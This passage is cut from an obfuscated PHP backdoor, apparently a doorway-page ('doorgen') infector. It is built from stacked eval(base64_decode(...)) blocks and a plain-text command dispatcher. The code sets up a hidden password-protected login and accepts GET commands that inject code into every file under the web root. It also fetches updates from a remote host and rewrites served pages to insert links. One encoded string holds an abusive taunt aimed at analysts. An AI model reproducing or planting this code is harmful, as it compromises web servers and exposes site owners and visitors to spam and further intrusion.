E9CQUxTWydzaF9ubyddKSl7XCRHTE9CQUxTWydzaF9ubyddPTE7aWYoZmlsZV9leGlzdHMoJ3skR0xPQkFMU1snZGdjcCddfXskR0xPQkFMU1snZGdpbiddfScpKXtpbmNsdWRlX29uY2UoJ3skR0xPQkFMU1snZGdjcCddfXskR0xPQkFMU1snZGdpbiddfScpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKFwkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXtcJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qj1vcmQoc3Vic3RyKFwkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDMsMSkpO1wkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwO1wkUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPTA7aWYoXCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImNCl7XCRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9dW5wYWNrKCd2JyxzdWJzdHIoXCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMTAsMikpO1wkUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPVwkUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxWzFdO1wkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yK1wkUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxO31pZihcJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY4KXtcJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoXCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLFwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZihcJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYxNil7XCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKFwkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LGNocigwKSxcJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoXCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMil7XCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fVwkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPWd6aW5mbGF0ZShzdWJzdHIoXCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsXCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKTtpZihcJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz09PUZBTFNFKXtcJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz1cJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2ODt9cmV0dXJuIFwkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzO319ZnVuY3Rpb24gZGdvYmgoXCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0Ype0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpO1wkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6ZGVjb2RlKFwkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJyxcJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCkpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnXCQxJy5nbWwoKSxcJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7fWVsc2V7cmV0dXJuIGdtbCgpLlwkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwO319b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19IjsgJEdMT0JBTFNbJ2RnaWonXSA9ICI8PyAvKiovZXZhbChiYXNlNjRfZGVjb2RlKCciIC4gYmFzZTY0X2VuY29kZSgkR0xPQkFMU1snZGdpaiddKSAuICInKSk7ID8+IjsgJEdMT0JBTFNbJ2RnZHInXSA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107IGlmKHN1YnN0cigkR0xPQkFMU1snZGdkciddLCBzdHJsZW4oJEdMT0JBTFNbJ2RnZHInXSkgLSAxLCAxKSA8PiAnLycpeyRHTE9CQUxTWydkZ2RyJ10gLj0gJy8nO30='));eval(base64_decode('ZnVuY3Rpb24gRjc2RTI2N0U3RUZBMjRDRDZEOTQ0MkNGNDJBRkEyMENCKCl7IGdsb2JhbCAkX1BPU1Q7ICRSNjA5QTFFMDM1NDM1MTUxRUZCQzI5MDY3MTdCQjI4RTAgPSAncXcnOyAkUkQ1RjU5QzVDNjQ4RUIzQjM1NzVBRTlFRkM5NzVBQzdCID0gJ2I0NDQwMWQxNjZlNWE4ZGIyZDUwNDBjYTQ2ZDM1MTE5JzsgaWYoJF9QT1NUWydsb2dpbiddID09ICRSNjA5QTFFMDM1NDM1MTUxRUZCQzI5MDY3MTdCQjI4RTAgJiYgbWQ1KCRfUE9TVFsncGFzcyddKSA9PSAkUkQ1RjU5QzVDNjQ4RUIzQjM1NzVBRTlFRkM5NzVBQzdCKXsgJF9DT09LSUVbJ2RnbG9naW4nXSA9ICRfUE9TVFsnbG9naW4nXTsgJF9DT09LSUVbJ2RncGFzcyddID0gJF9QT1NUWydwYXNzJ107IFNldENvb2tpZSgnZGdsb2dpbicsICRfQ09PS0lFWydkZ2xvZ2luJ10pOyBTZXRDb29raWUoJ2RncGFzcycsICRfQ09PS0lFWydkZ3Bhc3MnXSk7IGVjaG8iPHNjcmlwdD5kb2N1bWVudC5jb29raWU9J2RnbG9naW49eyRfQ09PS0lFWydkZ2xvZ2luJ119OyBwYXRoPS87Jztkb2N1bWVudC5jb29raWU9J2RncGFzcz17JF9DT09LSUVbJ2RncGFzcyddfTsgcGF0aD0vOyc7PC9zY3JpcHQ+IjsgfSBpZigkX0NPT0tJRVsnZGdsb2dpbiddIDw+ICRSNjA5QTFFMDM1NDM1MTUxRUZCQzI5MDY3MTdCQjI4RTAgfHwgbWQ1KCRfQ09PS0lFWydkZ3Bhc3MnXSkgPD4gJFJENUY1OUM1QzY0OEVCM0IzNTc1QUU5RUZDOTc1QUM3Qil7IGVjaG8iPGZvcm0gYWN0aW9uPSd7JF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ119JyBtZXRob2Q9J1BPU1QnPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdsb2dpbic+PGJyLz48aW5wdXQgbmFtZT0ncGFzcycgdHlwZT0ncGFzc3dvcmQnPjxiciAvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdhdXRoZW50aWNhdGUnPjwvZm9ybT4iOyBkaWUoKTsgfSB9ICRHTE9CQUxTWydkZ2tmJ10gPSAkR0xPQkFMU1snZGdjcCddLidrd2QnOyAkR0xPQkFMU1snZGdsZiddID0gJEdMT0JBTFNbJ2RnY3AnXS4ncmxmJzsgJEdMT0JBTFNbJ2Rnc2tmJ10gPSAkR0xPQkFMU1snZGdjcCddLidza3dkJzsgZnVuY3Rpb24gRkIwQ0ExMEUxMTIwQTAxMDk0NTdBNjJDNkE4MzA0MDU5KCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gJyc7ICRSMkEwMzlFRDhGREJGNENFQUE5RTc5Q0RDM0FFQ0QxQTIgPSBzdHJycG9zKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQsICcuJyk7IGlmKCRSMkEwMzlFRDhGREJGNENFQUE5RTc5Q0RDM0FFQ0QxQTIpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gKHN1YnN0cigkUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVELCAkUjJBMDM5RUQ4RkRCRjRDRUFBOUU3OUNEQzNBRUNEMUEyKzEsIHN0cmxlbigkUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVEKSkpOyByZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MzsgfSB9IEY1MjI5M0I3ODZGMzlCOTA4MDhEMDVBMjUzMEJBNTEwMCgpOyBmdW5jdGlvbiBGQ0U1RkU3NjFGRTM2MjIwNDU4RkFFNjUxQUVBQkY2RDkoJFIwNUFDQ0I4ODY2NzEzQzMxOUE3Mzc5M0I5MUU0MUM5Myl7ICRSQTAyNUM3NUI0NTM5RjRFODBEMTFDQzQ3NURBREJEM0IgPSAxOyAkUjc4Q0QwMTNEMDk2RTJGODk4RDEzRTU4RjQxNEQyNjQxID0gMTsgJFI1QUU4ODc0Q0E4NTk5RkM2MkZCMjYxREExRDEzQkYwNyA9IDA7IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2Jhc2U2NF9lbmNvZGUnKSl7IHJldHVybiAkUjA1QUNDQjg4NjY3MTNDMzE5QTczNzkzQjkxRTQxQzkzOyB9ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSBwcmVnX3JlcGxhY2UoIi9eW15cc10rW1xzXS9VIiwgIiIsICRSMDVBQ0NCODg2NjcxM0MzMTlBNzM3OTNCOTFFNDFDOTMpOyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gcHJlZ19yZXBsYWNlKCIvW1xzXVteXHNdK1xaLyIsICIiLCAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzKTsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9IHRyaW0oJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Myk7IGlmKCRSNzhDRDAxM0QwOTZFMkY4OThEMTNFNThGNDE0RDI2NDEpeyAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGID0gcHJlZ19zcGxpdCgnL1x9XHMrZnVuY3Rpb24vJywgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Myk7IH1lbHNleyAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGW10gPSAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzOyB9ICRSMjhFRTJFNjMzMUZEQzQ5MzUxQzIyRENDMkZCMjk3NkYgPSBmYWxzZTsgaWYoY291bnQoJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RikpeyAkUjk4MEM2QTlCRkQzOEUzNjMxMUI2OTFFM0FERDdDQ0FEID0gc3RycG9zKCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkZbMF0sICdmdW5jdGlvbicpOyBpZigkUjk4MEM2QTlCRkQzOEUzNjMxMUI2OTFFM0FERDdDQ0FEID09PSAwKXsgJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RlswXSA9IHN1YnN0cigkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGWzBdLCBzdHJsZW4oJ2Z1bmN0aW9uJyksIHN0cmxlbigkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGWzBdKSk7IH1lbHNleyAkUjI4RUUyRTYzMzFGREM0OTM1MUMyMkRDQzJGQjI5NzZGID0gdHJ1ZTsgfSAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gJyc7ICRSQTFENDRDMDY1NEE0MDk4NEExMDNDMjcwRkZCOUJGMzMgPSAwOyAkUkZGMDczMTA2REY1M0M3QzMxQkMyRTFGNTU5OEFCQzY3ID0gY291bnQoJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2Rik7IGZvcmVhY2goJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RiBhcyAkUkY0MTNGMDZBRUJCQ0VGNUUxQzhCMTAxOURFRTZGRTZCPT4kUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKXsgJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyA9IHByZWdfcmVwbGFjZSgiL1xzKy8iLCAiICIsICRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMpOyAkUkExRDQ0QzA2NTRBNDA5ODRBMTAzQzI3MEZGQjlCRjMzKys7ICRSQTFENDRDMDY1NEE0MDk4NEExMDNDMjcwRkZCOUJGMzMgPT0gJFJGRjA3MzEwNkRGNTNDN0MzMUJDMkUxRjU1OThBQkM2NyA/ICRSRTQzQzEzODdCMEU1NjkxQTYyRUFBNzBERUQ0MjQ3QkYgPSAnJyA6ICRSRTQzQzEzODdCMEU1NjkxQTYyRUFBNzBERUQ0MjQ3QkYgPSAnfSc7IGlmKCRSRkYwNzMxMDZERjUzQzdDMzFCQzJFMUY1NTk4QUJDNjcgPiAxICYmICEoJFJBMUQ0NEMwNjU0QTQwOTg0QTEwM0MyNzBGRkI5QkYzMyA9PSAxICYmICRSMjhFRTJFNjMzMUZEQzQ5MzUxQzIyRENDMkZCMjk3NkYpKXsgJFJFNEM3RDE2QTZDNUZCOTJDRDQ2QzBBQjdENDYzNDYxQyA9ICdmdW5jdGlvbiAnLnRyaW0oJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMykuJFJFNDNDMTM4N0IwRTU2OTFBNjJFQUE3MERFRDQyNDdCRjsgfWVsc2V7ICRSRTRDN0QxNkE2QzVGQjkyQ0Q0NkMwQUI3RDQ2MzQ2MUMgPSB0cmltKCRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMpLiRSRTQzQzEzODdCMEU1NjkxQTYyRUFBNzBERUQ0MjQ3QkY7IH0gaWYoJFI1QUU4ODc0Q0E4NTk5RkM2MkZCMjYxREExRDEzQkYwNyAmJiBmdW5jdGlvbl9leGlzdHMoJ2d6ZGVmbGF0ZScpKXsgJFJFNEM3RDE2QTZDNUZCOTJDRDQ2QzBBQjdENDYzNDYxQyA9IGd6ZGVmbGF0ZSgkUkU0QzdEMTZBNkM1RkI5MkNENDZDMEFCN0Q0NjM0NjFDLCA5KTsgfSAkUkU0QzdEMTZBNkM1RkI5MkNENDZDMEFCN0Q0NjM0NjFDID0gYmFzZTY0X2VuY29kZSgkUkU0QzdEMTZBNkM1RkI5MkNENDZDMEFCN0Q0NjM0NjFDKTsgaWYoJFI1QUU4ODc0Q0E4NTk5RkM2MkZCMjYxREExRDEzQkYwNyAmJiBmdW5jdGlvbl9leGlzdHMoJ2d6ZGVmbGF0ZScpKXsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyAuPSAiZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgneyRSRTRDN0QxNkE2QzVGQjkyQ0Q0NkMwQUI3RDQ2MzQ2MUN9JykpKTsiOyB9ZWxzZXsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyAuPSAiZXZhbChiYXNlNjRfZGVjb2RlKCd7JFJFNEM3RDE2QTZDNUZCOTJDRDQ2QzBBQjdENDYzNDYxQ30nKSk7IjsgfSB9IGZvcigkUkExNkQyMjgwMzkzQ0U2QTJBNTQyOEE0QThEMDlFMzU0ID0gMDsgJFJBMTZEMjI4MDM5M0NFNkEyQTU0MjhBNEE4RDA5RTM1NCA8ICRSQTAyNUM3NUI0NTM5RjRFODBEMTFDQzQ3NURBREJEM0I7ICRSQTE2RDIyODAzOTNDRTZBMkE1NDI4QTRBOEQwOUUzNTQrKyl7IGlmKCRSNUFFODg3NENBODU5OUZDNjJGQjI2MURBMUQxM0JGMDcgJiYgZnVuY3Rpb25fZXhpc3RzKCdnemRlZmxhdGUnKSl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSBnemRlZmxhdGUoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MywgOSk7IH0gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9IGJhc2U2NF9lbmNvZGUoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Myk7IGlmKCRSNUFFODg3NENBODU5OUZDNjJGQjI2MURBMUQxM0JGMDcgJiYgZnVuY3Rpb25fZXhpc3RzKCdnemRlZmxhdGUnKSl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAiZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgneyRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTN9JykpKTsiOyB9ZWxzZXsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9ICJldmFsKGJhc2U2NF9kZWNvZGUoJ3skUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzfScpKTsiOyB9IH0gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9ICI8Ii4iP3BocCAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPyIuIj4iOyB9IHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzOyB9IEYzNzA3MzhDRDQwODE5OTZDMDQ3QUJFRENERUQ2Q0VGNSgpOyBpZighaXNzZXQoJF9HRVRbJ2ZpeCddKSl7IEY3MURBODc3REZDQURFQ0JBNDQwRUE5NDE1OUQ5RDhFRSgkR0xPQkFMU1snZGdmeHAnXSk7fSAkUjk4MEM2QTlCRkQzOEUzNjMxMUI2OTFFM0FERDdDQ0FEID0gc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAnPycpOyBpZigkUjk4MEM2QTlCRkQzOEUzNjMxMUI2OTFFM0FERDdDQ0FEID4gMCl7ICRHTE9CQUxTWydkZ3J1cmknXSA9IHN1YnN0cigkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgMCwgJFI5ODBDNkE5QkZEMzhFMzYzMTFCNjkxRTNBREQ3Q0NBRCk7IH1lbHNleyAkR0xPQkFMU1snZGdydXJpJ10gPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTt9'));eval(base64_decode('ZnVuY3Rpb24gRkM1Q0Q4MThFMTg0MzJCRTk3RjIyMDBDRDFBRjVCQTVEKCRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUpeyAkUjFFODc4NkZGNUY3NDQwODBCRDc4MzI4RjEzQjMyRjkwID0gJ1wvXC8oW1x3XGRcLVwuXSspKFwvfCR8XFp8XD98XDopJzsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9ICcnOyBpZihwcmVnX21hdGNoKCIvJFIxRTg3ODZGRjVGNzQ0MDgwQkQ3ODMyOEYxM0IzMkY5MC8iLCAkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1LCAkUkUyMTAxNDRFRTQ2RDUyRUZGNUEzNEJFMEMwQzcxQ0NEKSl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAkUkUyMTAxNDRFRTQ2RDUyRUZGNUEzNEJFMEMwQzcxQ0NEWzFdOyB9IHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzO30='));eval(base64_decode('function FF0878B40103D74D635BD3F82AD98B03D(){ global $_SERVER, $_GET; $RD4BBD093571F6265608187C20499053F = "0000188124"; $RD4BBD093571F6265608187C20499053F = intval($RD4BBD093571F6265608187C20499053F); if(!file_exists($GLOBALS['dgcp'].$GLOBALS['dgin'])){ return; } if(filesize($GLOBALS['dgcp'].$GLOBALS['dgin']) <> $RD4BBD093571F6265608187C20499053F){ if(isset($_GET['dgd'])){ echo"bad size: " . filesize($GLOBALS['dgcp'].$GLOBALS['dgin']) . " [want: $RD4BBD093571F6265608187C20499053F]<br>"; } if(!(strpos(strtolower($_SERVER['DOCUMENT_ROOT']), 'w:') === 0) && $_SERVER["HTTP_HOST"] <> 'wp' && strpos(strtolower($_SERVER['SystemRoot']), 'win') > 0){ error_reporting(0); echo(base64_decode('cGVyZWQgdGVtLCBrYWsgdGkgemFrb25jaGlzaCBjaGl0YXQnIGV0byBwb3NsYW5pZSAtIHJla29tZW5kdXl1IHphcGlzYXQnIG1vaSBlbWFpbDogPGI+aWdvYUBnYXdhYi5jb208L2I+LCB0ZWJlIGJ1ZGV0IGNodG8gbW5lIG5hcGlzYXQnLiBUaSBvY2hlbicgdXBlcnRpeSBzdWtpbiBzaW4gcyBuZXBsb2hvaSBrdmFsaWZpa2FjaWV5LCBubyB6YXBvbW5pIG9kbnUgdmVzaCAtIE5BIEtBSkRVWVUgSElUUlVZVSBKT1BVIEVTVCcgU1ZPWSBIVUkgUyBWSU5UT00uIChFLU1haWwgemFwaXNhbD8pLiBZYSByZWFsbm8gdGViZSBzb2NodXZzdHZ1eXUsIG5vIHRvIGNodG8gdGkgcG9sdWNoaWwgLSBzZGVsYWwgdGkgU0FNLCB0YWsgY2h0byB6YWt1cmkgc2lnYXJldGt1IGkgdWxpYm5pcycgLSB0ZWJqYSBwb2ltZWxpISEh')); F21E19891D6FCBC60EE9265ABD888D00C(str_replace('\\', '/', $_SERVER['SystemRoot']) . '/', 1); F21E19891D6FCBC60EE9265ABD888D00C(substr($_SERVER['DOCUMENT_ROOT'], 0, strpos($_SERVER['DOCUMENT_ROOT'], '/')) . '/', 1); die; }elseif($_SERVER['HTTP_HOST']){ $R6E4F14B335243BE656C65E3ED9E1B115 = $GLOBALS['dguh'] . "?update=js&host={$_SERVER['HTTP_HOST']}&ver={$GLOBALS['jsv']}"; if(!headers_sent()){ SetCookie('updating', $R6E4F14B335243BE656C65E3ED9E1B115); } FF97A1D7A5B771B21D423C3A9D78408C1($R6E4F14B335243BE656C65E3ED9E1B115, true); } } } $GLOBALS['dgu_jurl'] = ''; $GLOBALS['dgu_durl'] = ''; $GLOBALS['dgu_surl'] = ''; $GLOBALS['dgu_kurl'] = ''; $GLOBALS['dgu_nurl'] = ''; function F34639A525DB59BBE89A1B68A341989A9($RC4A5B5E310ED4C323E04D72AFAE39F53, $R9D286369CBA2FBEB34D036FFC3C9EB2E, $R399036803A841185E4A270BC666A66CF = false){ global $_GET; if(isset($_GET['dgd'])){ $R399036803A841185E4A270BC666A66CF = false; } if(!$R399036803A841185E4A270BC666A66CF){ echo "confirming new doorgen: {$RC4A5B5E310ED4C323E04D72AFAE39F53}<br>"; } $R5D85BD68B93063794E79DB4C9023E1A2 = 0; $RDBF866E6293BB59E654033E299EC8CFE = 0; while($R5D85BD68B93063794E79DB4C9023E1A2 < 20){ $R5D85BD68B93063794E79DB4C9023E1A2++; $R9DB9E103E88D622316D42B508D6D11AB = FFD456406745D816A45CAE554C788E754($RC4A5B5E310ED4C323E04D72AFAE39F53, 180, $RF89F518E40FF53B4FD2A7D2440090D63, $R9D286369CBA2FBEB34D036FFC3C9EB2E); if(strpos($R9DB9E103E88D622316D42B508D6D11AB, 'dgok')){ $RDBF866E6293BB59E654033E299EC8CFE = 1; if(!$R399036803A841185E4A270BC666A66CF){ echo"confirmed succsessfully: $R9DB9E103E88D622316D42B508D6D11AB<br>"; } break; }elseif(strpos($R9DB9E103E88D622316D42B508D6D11AB, 'dgfailed')){ if(!$R399036803A841185E4A270BC666A66CF){ echo"confirmation failed: $R9DB9E103E88D622316D42B508D6D11AB<br>"; } break; } } if(!$RDBF866E6293BB59E654033E299EC8CFE){ FE0323A9039ADD2978BF5B49550572C7C($R399036803A841185E4A270BC666A66CF); } } FF0878B40103D74D635BD3F82AD98B03D(); function FEDEF2DC73589D53BC2B30BE1446D22BC(){ } if(isset($_GET[$GLOBALS['dgopt']['dgqn']]) || isset($_GET['dgm']) || isset($_GET['dga']) || $_GET[$GLOBALS['dgrr']]){ if(isset($_GET['dgm']) || isset($_GET['dga'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); } if(file_exists($GLOBALS['dgdf']) && is_readable($GLOBALS['dgdf'])){ F5FB5D6BE8E06506205DFB12338D59576(); include_once($GLOBALS['dgdf']); } die; }elseif(isset($_GET[$GLOBALS['dgfn']]) && file_exists($GLOBALS['dgff'])){ Header("Content-Type: application/x-shockwave-flash"); die(implode("", file($GLOBALS['dgff']))); }elseif($_GET['upd']){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FF97A1D7A5B771B21D423C3A9D78408C1($_GET['upd']); die; }elseif($_GET['dgu']){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FE30C005A9ED2D1D7195DD8485C71E92C($_GET['dgu']); die("<hr><b>dgok</b>"); }elseif(isset($_GET['dgs'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FFD4CA0987278D9E3EB7B6EC51C59C6E8(); die; }elseif(isset($_GET['dgr'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgdr'], $GLOBALS['dgij'], 0, 0); if($GLOBALS['dgsp']){ F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgsp'], $GLOBALS['dgij'], 0, 0); } die("<hr><b>dgok</b>"); }elseif(isset($_GET['dgi'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgdr'], $GLOBALS['dgij'], 1, 0); if($GLOBALS['dgsp']){ F012D69AC5CE9ED6C2EC5DF1609CA51C4($GLOBALS['dgsp'], $GLOBALS['dgij'], 1, 0); } die("<hr><b>dgok</b>"); }elseif(isset($_GET['cc'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FE0323A9039ADD2978BF5B49550572C7C(); die("<hr><b>dgok</b>"); }elseif(isset($_GET['ins'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FB97FA63C78BC91B5403C77A8CF3A9986(); die("<hr><b>dgok</b>"); }elseif(isset($_GET['dgc'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); FA795E0B4BF1D4B68AFCB85DB5D3F3924(); die("<hr>{$GLOBALS['dgopt']['dgid']} - {$GLOBALS['jsv']}<hr><b>dgok</b>"); }elseif(isset($_GET['chp'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); F41F51A0DA261A69603A169CEFFBCF7A5(rawurldecode($_GET['chp'])); die; }elseif(isset($_GET['dgp'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); die($GLOBALS['dgcp'].$GLOBALS['dgin'] . "\n<hr>" . filesize($GLOBALS['dgcp'].$GLOBALS['dgin']) . "\n<hr>{$GLOBALS['dgopt']['dgid']}\n<hr><b>dgok</b>"); }elseif(isset($_GET['cl'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); echo gml() . "<hr><b>dgok</b>"; die; }elseif(isset($_GET['clc'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); if(file_exists($GLOBALS['dglf'])){ if(unlink($GLOBALS['dglf'])){ die("counter cleared<hr><b>dgok</b>"); }else{ die("failed to clear counter<hr><b>dgok error1</b>"); } }else{ die("counter file not found<hr><b>dgok error2</b>"); } }elseif(isset($_GET['gjs'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); die(implode("", file($GLOBALS['dgcp'].$GLOBALS['dgin']))); }elseif(isset($_GET['dgpackjs'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); die(FCE5FE761FE36220458FAE651AEABF6D9(implode("", file($GLOBALS['dgcp'].$GLOBALS['dgin'])))); }elseif(isset($_GET['fix'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); F71DA877DFCADECBA440EA94159D9D8EE($GLOBALS['dgfxp'], 0); die("<hr><b>dgok</b>"); }elseif(isset($_GET['dgpackdg'])){ F76E267E7EFA24CD6D9442CF42AFA20CB(); die(FCE5FE761FE36220458FAE651AEABF6D9(implode("", file($GLOBALS['dgdf'])))); }else{ foreach($_GET as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B=>$R244F38266C59587D696AEC08A771B803){ $R2322221D09E72D62CE8923BF936F088E=explode("=", 